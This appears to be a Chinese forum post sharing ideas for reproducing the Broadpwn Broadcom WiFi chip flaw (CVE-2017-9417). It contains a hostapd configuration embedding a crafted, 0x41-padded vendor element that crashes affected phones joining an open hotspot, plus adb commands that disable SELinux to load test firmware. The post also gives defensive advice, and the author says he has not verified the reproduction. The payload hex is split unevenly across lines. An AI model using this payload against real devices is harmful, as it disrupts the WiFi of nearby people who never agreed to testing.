博通WIFI芯片漏洞复现思路分享(CVE-2017-9417)

Track-宁邪   ·   发表于 2018-02-28 12:04:52   ·   漏洞文章

引言:

在去年的美国BlackHat黑帽大会(Black Hat USA)上,有关于 CVE-2017-9417的很多细节被披露,固件漏洞可以让有心人对有关系统的最底层展开无法遏制的毁灭性的攻击,这也让我对该漏洞产生了很大的好奇心。

关于 CVE-2017-9417 ,我怀着百分百的劲头和兴趣尝试复现它,但就目前掌握的编程能力和安卓固件逆向分析能力,没有资格在这里与大家讨论它的CRASH原理,实在惭愧。


复现之前,我查阅了大量关于 Broadpwn 的研究文章,这篇复现文章发布时,我未寻找到任何的国内论坛发布与此安全漏洞有关的 复现 文章,这让我对此漏洞的深入了解和利用产生了很大的难度。虽说该漏洞可能造成任意命令通过wifi芯片漏洞在安卓/ios系统上的执行,但目前关于此漏洞的 公开 的复现进程只停留在使 Wifi芯片程序 崩溃重启的方案。解决该问题并成功在目标系统中执行任意命令的方案,是通过在不惊扰用户的方法下,不断地使 wifi芯片 崩溃,操作缓冲区,直至爆破出正确的地址集。


去年的电视新闻报道中,我看到了一则关于 Broadpwn在国内的利用报道,某些有心人士通过此漏洞,用类似wifi钓鱼热点的方法攻击附近的智能手机,在智能手机上安装勒索软件。这说明  Broadpwn在国内未公开的圈子的利用已经成熟并投入到非法领域!

该复现文章能让我们初步的了解并防范  Broadpwn的漏洞利用。



受影响芯片版本:BCM43xx系列


一. 准备环境

Ubuntu 16.04

支持master模式的无线网卡(支持master模式的无线网卡才可以搭建Wifi热点)

hostapd(用于搭建用户自定义Wifi热点)


如何选择购买支持master模式的无线网卡?


方法1.

[Shell] 纯文本查看 复制代码

?

1
sudo iwconfig wlan0 mode master


如果返回错误,即不支持master模式

方法2.

有些网卡使用了 mac80211 framework ,对于这些网卡使用方法 1 一定会返回错误,但不能判定他们不支持master模式。

[Shell] 纯文本查看 复制代码

?

1
sudo iw list


如果返回的 Supported interface modes 列表里有 AP ,就可以成功搭建,如果没有则不可以。


方法3.

[Shell] 纯文本查看 复制代码

?

1
sudo ethtool -i wlan0


在返回的 driver: 项中,是我们指定查看的网卡的驱动名,如果在下面链接给出的列表中没有该驱动名,则不可以搭建Wifi热点。

http://wireless.kernel.org/en/users/Drivers


hostpad的安装:

[Shell] 纯文本查看 复制代码

?

1
sudo apt-get install hostapd





二. 环境搭建


在最初的漏洞复现中,我们用hostapd搭建Wifi热点。

[Shell] 纯文本查看 复制代码

?

1
sudo vim /etc/hostapd/hostapd.conf



hostapd配置如下:

[AppleScript] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
interface=wlan0
driver=nl80211
ssid=123456
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

assocresp_elements=ddff0050f2020101000003a4000027a4000042435e006232

2f00414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141

vendor_elements=ddff0050f2020101000003a4000027a4000042435e0062322f0

0414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141414141

4141414141414141414141414141414141414141414141414141414141414141414

1414141414141414141414141414141414141414141414141414141414141


[Shell] 纯文本查看 复制代码

?

1
hostadp /etc/hostapd/hostapd.conf


编辑完成后,我们可以通过上面的命令检测配置是否正确。

在启动前,确保 /etc/init.d/hostapd 文件中的 DAEMON_CONF 值为我们编辑完成的hostapd.conf配置文件,如果不是,则自行修改。


启动:

[Shell] 纯文本查看 复制代码

?

1
/etc/init.d/hostapd start


该热点没有设置密码,搭建成功后,可以直接使用Wifi设备进行连接。

如果您设备的Wifi芯片版本为上述受影响版本,您的Wifi芯片运行的进程会崩溃重启。


在Github上有一些项目可以帮助我们更快的配置精心构造的自定义Wifi配置文件,但都没有我在前言说到的已经成熟利用的 Exploit or Poc。


如果想测试其他固件的受影响情况,可以使用 adb shell 在配置有上述受影响的Wifi芯片的安卓系统设备上挂载欲测试的自定义固件:


[Shell] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
#setenforce 0
 
#cp fw_bcmdhd.bin /data/local/tmp/firmware/
 
#chmod 755 /data/local/tmp/firmware/fw_bcmdhd.bin
 
#mount -o bind /data/local/tmp/firmware /vendor/firmware
 
#stop
 
#start



Github项目关键词:CVE-2017-9417     Broadpwn



三. 防御方案



在搭载了上述受影响版本系列的博通WIFI芯片的设备上

设置空密码WIFI禁止自动登录

不要轻易连接不安全的公开公共网络

最好的防御方案是关闭wifi



由于时间关系和设备的限制,我目前不能亲自复现该漏洞,只能分享一些关于复现的思路,希望有热爱信息安全的大牛给予我更多的帮助和建议。



以下是 Zhuowei Zhang 在 boosterok.com 发布的两篇有关于 CVE-2017-9417的研究文章,感谢 Zhuowei Zhang

http://boosterok.com/blog/broadpwn/

http://boosterok.com/blog/broadpwn2/


以下是 mailinneberg 的Git项目地址:

https://github.com/mailinneberg/Broadpwn


打赏我,让我更有动力~

0 条回复   |  直到 2018-2-28 | 1925 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.